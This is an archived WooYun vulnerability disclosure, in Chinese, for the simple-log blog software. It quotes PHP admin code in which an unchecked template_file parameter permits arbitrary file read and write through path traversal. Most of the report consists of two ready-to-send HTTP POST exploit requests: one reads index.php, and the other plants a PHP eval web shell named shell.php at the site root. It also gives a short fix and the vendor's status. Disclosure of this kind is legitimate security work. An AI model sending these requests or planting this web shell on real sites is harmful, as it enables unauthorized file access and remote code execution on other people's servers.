乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-04-04: 积极联系厂商并且等待厂商认领中,细节不对外公开 2013-07-03: 厂商已经主动忽略漏洞,细节向公众公开
simple-log在后台某处没有对参数进行检查导致任意文件读写产生
在/admin/includes/set_page.php中:产生读任意文件的地方:
elseif ($action=='get_page_data'){ require(PBBLOG_ROOT . '/includes/json.class.php'); $json = new JSON; $file=$_POST['template_file']; $res=array('type'=>'get_page_data','content'=>'','error'=>'no'); $data=file_get_contents(PBBLOG_ROOT.'/themes/'.$config['template_name'].'/'.$file); $res['content']=$data; die($json->encode($res));}
$_POST['template_file']被传给了$file然后直接字符串拼接进入file_get_contents中导致读任意文件漏洞的产生产生写任意文件的地方:
elseif ($action=='act_set_page'){ $data=htmlspecialchars_decode(stripslashes($_POST['data'])); $file=$_POST['template_file']; $fp=@fopen(PBBLOG_ROOT.'/themes/'.$config['template_name'].'/'.$file,"w") or die('can not open file'); flock($fp,LOCK_EX); fwrite($fp,$data); fclose($fp); clear_tpl(); sys_message('页面修改成功','admin.php?act=set_footer&file='.$file);}
同理也是$_POST['template_file']被传给了$file然后直接字符串拼接进入file_get_contents中导致写任意文件漏洞的产生
读index.php文件
POST /simple-log/admin/admin.php?act=get_page_data HTTP/1.1Host: xxxUser-Agent: xxxAccept: application/json, text/javascript, */*Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestReferer: http://xxx/simple-log/admin/admin.php?act=set_footer&file=blog.htmlContent-Length: 23Cookie: xxxConnection: keep-alivePragma: no-cacheCache-Control: no-cachetemplate_file=../index.php
写一句话到根目录下shell.php
POST /simple-log/admin/admin.php?act=act_set_page HTTP/1.1Host: target.comUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://target.com/simple-log/admin/admin.php?act=set_footerCookie: CNZZDATA1702264=cnzz_eid%3D1919140847-1364978684-http%253A%252F%252F192.168.189.134%26ntime%3D1364978684%26cnzz_a%3D5%26retime%3D1364978721191%26sin%3Dnone%26ltime%3D1364978721191%26rtime%3D0; PHPSESSID=ic36fuhn6urslbfb8dom2ml936; T3_lang=zh-cnConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 155template_file=../../shell.php&data=%3C%3Fphp%0D%0A%40eval%28%24_POST%5B%27test%27%5D%29%3B%0D%0A%3F%3E&type=set_footer&file=footer.html&button=%E4%BF%AE%E6%94%B9
对传入的变量进行检查,不允许..存在
未能联系到厂商或者厂商积极拒绝
漏洞Rank:6 (WooYun评价)